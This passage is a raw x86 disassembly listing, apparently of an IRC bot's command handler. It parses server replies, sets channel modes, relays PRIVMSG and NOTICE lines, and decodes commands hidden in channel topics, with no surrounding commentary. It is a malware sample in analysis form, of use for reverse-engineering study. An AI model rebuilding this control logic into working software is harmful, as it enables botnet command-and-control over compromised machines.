eax, [ebp+arg_C] mov eax, [eax+8] inc eax mov [ebp+var_7E8], eax jmp short loc_40DD80 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40D871+4F2j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_7E8], eax loc_40DD80: ; CODE XREF: sub_40D871+501j push [ebp+var_7E8] push offset aModeSSmntu ; "MODE %s +smntu" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD97: ; CODE XREF: sub_40D871+4C8j ; sub_40D871+4DBj ... push offset a001 ; "001" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DE70 push 21h mov eax, [ebp+arg_C] push dword ptr [eax+8] lea eax, [ebp+var_4B4] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_4B4] push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4B4] push eax push offset aModeSXi ; "MODE %s +xi" call sub_40D6CB pop ecx pop ecx push offset dword_41ED48 push offset dword_41DAB4 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch lea eax, [ebp+var_490] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx test eax, eax jz short loc_40DE58 lea eax, [ebp+var_490] push eax call sub_4041B7 pop ecx test eax, eax jz short loc_40DE43 lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx jmp short loc_40DE56 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D871+5BBj lea eax, [ebp+var_490] push eax push offset dword_41EF48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DE56: ; CODE XREF: sub_40D871+5D0j jmp short loc_40DE6B ; --------------------------------------------------------------------------- loc_40DE58: ; CODE XREF: sub_40D871+5AAj lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40D871+53Aj push offset a451 ; "451" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DE96 push 0 push 1 call sub_40D043 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE96: ; CODE XREF: sub_40D871+613j push offset a302 ; "302" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DF3E mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jnz short loc_40DEBE jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEBE: ; CODE XREF: sub_40D871+646j push offset a@ ; "@" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5B8], eax cmp [ebp+var_5B8], 0 jnz short loc_40DEE4 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEE4: ; CODE XREF: sub_40D871+66Cj push 100h mov eax, [ebp+var_5B8] inc eax push eax push offset dword_41EF48 call sub_407A56 add esp, 0Ch lea eax, [ebp+var_5B4] push eax mov eax, [ebp+var_5B8] inc eax push eax call sub_404612 pop ecx pop ecx movzx eax, al test eax, eax jnz short loc_40DF20 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF20: ; CODE XREF: sub_40D871+6A8j push 100h lea eax, [ebp+var_5B4] push eax push offset dword_41EF48 call sub_407A56 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF3E: ; CODE XREF: sub_40D871+639j push offset aNick ; "NICK" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF8E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jnz short loc_40DF62 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40D871+6EAj push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF89 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DF89: ; CODE XREF: sub_40D871+702j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40D871+6E1j push offset a332 ; "332" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz loc_40E128 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_40DFBF mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_40DFC4 loc_40DFBF: ; CODE XREF: sub_40D871+73Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DFC4: ; CODE XREF: sub_40D871+74Cj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E05F mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+arg_10] cmp dword ptr [eax+14h], 0 jz short loc_40E04E mov eax, [ebp+arg_10] push dword ptr [eax+14h] mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] lea eax, [eax+ecx+1] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40E05F ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40D871+7BBj mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] and byte ptr [eax+ecx+1], 0 loc_40E05F: ; CODE XREF: sub_40D871+760j ; sub_40D871+7DBj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jz loc_40E123 lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40813C add esp, 0Ch mov [ebp+var_7C0], eax and [ebp+var_7C8], 0 loc_40E09A: ; CODE XREF: sub_40D871+8ADj cmp [ebp+var_7C0], 0 jnz short loc_40E0A5 jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E0A5: ; CODE XREF: sub_40D871+830j ; sub_40D871+851j mov eax, [ebp+var_7C0] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40E0B5 jmp short loc_40E0C4 ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40D871+840j mov eax, [ebp+var_7C0] inc eax mov [ebp+var_7C0], eax jmp short loc_40E0A5 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: sub_40D871+842j push [ebp+var_7C0] mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_7BC] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_7BC] push eax call sub_40E618 pop ecx lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_7C8], eax mov eax, [ebp+var_7C8] mov [ebp+var_7C0], eax jmp loc_40E09A ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40D871+7FAj ; sub_40D871+832j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40D871+731j cmp [ebp+arg_0], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz short loc_40E153 push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E158 loc_40E153: ; CODE XREF: sub_40D871+8BBj ; sub_40D871+8C4j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: sub_40D871+8E0j mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E1C0 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1AB mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E1BE ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_40D871+923j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax and [ebp+var_84], 0 loc_40E1BE: ; CODE XREF: sub_40D871+938j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40D871+915j push offset aNotice ; "NOTICE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E211 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1F9 mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E20F ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40D871+971j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax mov [ebp+var_84], 1 loc_40E20F: ; CODE XREF: sub_40D871+986j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E211: ; CODE XREF: sub_40D871+963j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj ; sub_40D871:loc_40E20Fj cmp [ebp+var_84], 3 jnz loc_40E321 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax and [ebp+var_7CC], 0 jmp short loc_40E253 ; --------------------------------------------------------------------------- loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj mov eax, [ebp+var_7CC] inc eax mov [ebp+var_7CC], eax loc_40E253: ; CODE XREF: sub_40D871+9D3j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax*4], 0 jz short loc_40E26B cmp [ebp+var_7CC], 0Fh jnz short loc_40E2B8 loc_40E26B: ; CODE XREF: sub_40D871+9EFj mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D4], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E2B6 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] mov byte ptr [eax+ecx-1], 1 loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40D871+9F8j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D0], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E31C mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E31C: ; CODE XREF: sub_40D871+A79j jmp loc_40E246 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40D871+9ACj ; sub_40D871:loc_40E2B6j ... push offset byte_41EE48 push [ebp+var_90] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E340 mov eax, [ebp+arg_4] mov [ebp+var_90], eax loc_40E340: ; CODE XREF: sub_40D871+AC4j push 7Ah push 0 lea eax, [ebp+var_7C] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] mov eax, [eax] mov [ebp+var_88], eax and [ebp+var_8C], 0 mov eax, [ebp+arg_10] push dword ptr [eax] call sub_416B40 ; strlen pop ecx mov [ebp+var_80], eax loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j cmp [ebp+var_80], 3 jnb short loc_40E378 jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: sub_40D871+B03j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_40E393 mov eax, [ebp+var_80] dec eax mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E393: ; CODE XREF: sub_40D871+B17j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-3] cmp eax, 20h jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-2] cmp eax, 2Dh jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 7Ah jg short loc_40E3F0 mov [ebp+var_8C], 1 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] mov [ebp+eax+var_7C], 1 mov eax, [ebp+var_80] sub eax, 3 mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40D871+B32j ; sub_40D871+B44j ... jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E3F2: ; CODE XREF: sub_40D871+B20j ; sub_40D871+B7Dj jmp loc_40E370 ; --------------------------------------------------------------------------- loc_40E3F7: ; CODE XREF: sub_40D871+B05j ; sub_40D871:loc_40E3F0j cmp [ebp+var_8C], 0 jz loc_40E4CC and [ebp+var_7D8], 0 jmp short loc_40E41A ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j mov eax, [ebp+var_7D8] inc eax mov [ebp+var_7D8], eax loc_40E41A: ; CODE XREF: sub_40D871+B9Aj cmp [ebp+var_7D8], 10h jnb loc_40E4CC mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] cmp dword ptr [ecx+eax*4], 0 jnz short loc_40E43B jmp loc_40E4CC ; --------------------------------------------------------------------------- loc_40E43B: ; CODE XREF: sub_40D871+BC3j mov eax, [ebp+var_88] add eax, [ebp+var_80] mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] cmp [edx+ecx*4], eax jb short loc_40E4C7 cmp [ebp+var_8C], 0 jz short loc_40E48F cmp [ebp+var_7D8], 0 jz short loc_40E488 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4-4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] mov ecx, [edx+ecx*4-4] and byte ptr [ecx+eax], 0 loc_40E488: ; CODE XREF: sub_40D871+BF1j and [ebp+var_8C], 0 loc_40E48F: ; CODE XREF: sub_40D871+BE8j mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] and dword ptr [ecx+eax*4], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] and dword ptr [ecx+eax*4], 0 loc_40E4C7: ; CODE XREF: sub_40D871+BDFj jmp loc_40E40D ; --------------------------------------------------------------------------- loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj ; sub_40D871+BB0j ... push offset byte_41EE48 mov eax, [ebp+arg_C] push dword ptr [eax+8] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E513 mov eax, [ebp+arg_10] add eax, 0Ch push eax mov eax, [ebp+arg_C] add eax, 0Ch push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E513: ; CODE XREF: sub_40D871+C6Fj mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jnz short loc_40E521 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_40D871+CA9j and [ebp+var_7DC], 0 push offset asc_41A070 ; "*" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E54A mov [ebp+var_7DC], 1 jmp loc_40E5DE ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40D871+CCBj mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset byte_41EE48 call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E56C mov [ebp+var_7DC], 1 jmp short loc_40E5DE ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: sub_40D871+CF0j mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx cmp eax, 4 ja short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] movsx eax, byte ptr [ecx+eax-1] cmp eax, 25h jnz short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] and byte ptr [ecx+eax-1], 0 call sub_410422 xor edx, edx push 64h pop ecx div ecx inc edx mov [ebp+var_7E0], edx mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B9C ; atoi pop ecx cmp eax, [ebp+var_7E0] jl short loc_40E5DE mov [ebp+var_7DC], 1 loc_40E5DE: ; CODE XREF: sub_40D871+CD4j ; sub_40D871+CF9j ... movzx eax, [ebp+var_7DC] test eax, eax jz short loc_40E615 mov eax, [ebp+arg_10] add eax, 10h push eax mov eax, [ebp+arg_C] add eax, 10h push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch loc_40E615: ; CODE XREF: sub_40D871+31j ; sub_40D871+4Cj ... pop edi leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E618 proc near ; CODE XREF: sub_40C93C+A8p ; sub_40D871+87Fp ... var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = byte ptr -118Ch var_1180 = dword ptr -1180h var_114C = dword ptr -114Ch var_1148 = dword ptr -1148h var_1144 = dword ptr -1144h var_113C = dword ptr -113Ch var_1138 = dword ptr -1138h var_1109 = byte ptr -1109h var_1108 = byte ptr -1108h var_1089 = byte ptr -1089h var_1088 = byte ptr -1088h var_88 = dword ptr -88h var_84 = byte ptr -84h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1194h call sub_416BC0 and [ebp+var_4], 0 push 10h lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1088] push eax push [ebp+arg_0] call sub_407928 add esp, 14h push offset a302 ; "302" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E66D mov dword_41E9AC, 1 jmp short loc_40E674 ; --------------------------------------------------------------------------- loc_40E66D: ; CODE XREF: sub_40E618+47j and dword_41E9AC, 0 loc_40E674: ; CODE XREF: sub_40E618+53j cmp [ebp+var_1148], 0 jz short loc_40E686 cmp [ebp+var_1144], 0 jnz short loc_40E68B loc_40E686: ; CODE XREF: sub_40E618+63j jmp locret_40E941 ; --------------------------------------------------------------------------- loc_40E68B: ; CODE XREF: sub_40E618+6Cj push offset aPrivmsg ; "PRIVMSG" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40E6BB push offset aNotice ; "NOTICE" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40E7A5 loc_40E6BB: ; CODE XREF: sub_40E618+87j cmp [ebp+var_113C], 0 jz loc_40E7A5 cmp [ebp+var_1138], 0 jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+2] test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax push eax mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_113C] add eax, [ebp+var_1190] and byte ptr [eax+1], 0 push 0Dh lea eax, [ebp+var_1180] push eax lea eax, [ebp+var_113C] push eax push [ebp+var_1180] push [ebp+var_113C] call sub_407928 add esp, 14h loc_40E7A5: ; CODE XREF: sub_40E618+9Dj ; sub_40E618+AAj ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_1148] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz loc_40E853 and [ebp+var_1194], 0 jmp short loc_40E7D5 ; --------------------------------------------------------------------------- loc_40E7C8: ; CODE XREF: sub_40E618+234j mov eax, [ebp+var_1194] inc eax mov [ebp+var_1194], eax loc_40E7D5: ; CODE XREF: sub_40E618+1AEj mov eax, [ebp+var_1194] cmp off_41DA5C[eax*4], 0 jnz short loc_40E7E7 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E618+1CBj mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_1194] push off_41DA5C[eax*4] mov eax, [ebp+var_1148] inc eax push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E839 mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105AD pop ecx mov [ebp+var_4], 1 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40E618+203j mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105AD pop ecx jmp loc_40E7C8 ; --------------------------------------------------------------------------- loc_40E851: ; CODE XREF: sub_40E618+1CDj ; sub_40E618+21Fj jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E618+1A1j mov [ebp+var_4], 1 loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j and [ebp+var_88], 0 mov [ebp+var_114C], 1 jmp short loc_40E87A ; --------------------------------------------------------------------------- loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj mov eax, [ebp+var_114C] inc eax mov [ebp+var_114C], eax loc_40E87A: ; CODE XREF: sub_40E618+253j cmp [ebp+var_114C], 80h jge loc_40E90F mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40E8B6 mov [ebp+var_88], 1 mov eax, [ebp+var_114C] and byte ptr [ebp+eax+var_88+3], 0 loc_40E8B6: ; CODE XREF: sub_40E618+284j cmp [ebp+var_88], 0 jnz short loc_40E8DA mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov byte ptr [ebp+ecx+var_88+3], al loc_40E8DA: ; CODE XREF: sub_40E618+2A5j mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov [ebp+ecx+var_1109], al mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E90A jmp short loc_40E90F ; --------------------------------------------------------------------------- loc_40E90A: ; CODE XREF: sub_40E618+2EEj jmp loc_40E86D ; --------------------------------------------------------------------------- loc_40E90F: ; CODE XREF: sub_40E618+26Cj ; sub_40E618+2F0j and [ebp+var_5], 0 and [ebp+var_1089], 0 lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1108] push eax lea eax, [ebp+var_84] push eax push [ebp+var_4] call sub_40D871 add esp, 14h locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j leave retn sub_40E618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E943 proc near ; CODE XREF: .data:00416ABAp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E94E: ; CODE XREF: sub_40E943+32j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E960 jmp short locret_40E977 ; --------------------------------------------------------------------------- loc_40E960: ; CODE XREF: sub_40E943+19j push [ebp+var_8] call sub_407B5E pop ecx mov [ebp+var_4], eax push [ebp+var_8] call sub_40E618 pop ecx jmp short loc_40E94E ; --------------------------------------------------------------------------- locret_40E977: ; CODE XREF: sub_40E943+1Bj leave retn sub_40E943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E979 proc near ; CODE XREF: .data:004168D5p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40E98A ; --------------------------------------------------------------------------- loc_40E983: ; CODE XREF: sub_40E979+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E98A: ; CODE XREF: sub_40E979+8j cmp [ebp+var_4], 100h jnb short loc_40E99F mov eax, [ebp+var_4] and byte_41E9B0[eax], 0 jmp short loc_40E983 ; --------------------------------------------------------------------------- loc_40E99F: ; CODE XREF: sub_40E979+18j and [ebp+var_4], 0 jmp short loc_40E9AC ; --------------------------------------------------------------------------- loc_40E9A5: ; CODE XREF: sub_40E979+4Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E9AC: ; CODE XREF: sub_40E979+2Aj cmp [ebp+var_4], 40h jnb short locret_40E9C7 mov eax, [ebp+var_4] movzx eax, byte_41A18C[eax] mov cl, byte ptr [ebp+var_4] mov byte_41E9B0[eax], cl jmp short loc_40E9A5 ; --------------------------------------------------------------------------- locret_40E9C7: ; CODE XREF: sub_40E979+37j leave retn sub_40E979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp ; sub_40A9CF+E18p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 2 jnb short loc_40E9E8 xor eax, eax jmp locret_40EB4C ; --------------------------------------------------------------------------- loc_40E9E8: ; CODE XREF: sub_40E9C9+16j and [ebp+var_4], 0 and [ebp+var_8], 0 loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj push 1 pop eax test eax, eax jz loc_40EB48 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA29 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA2E ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40E9C9+40j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EA66 mov 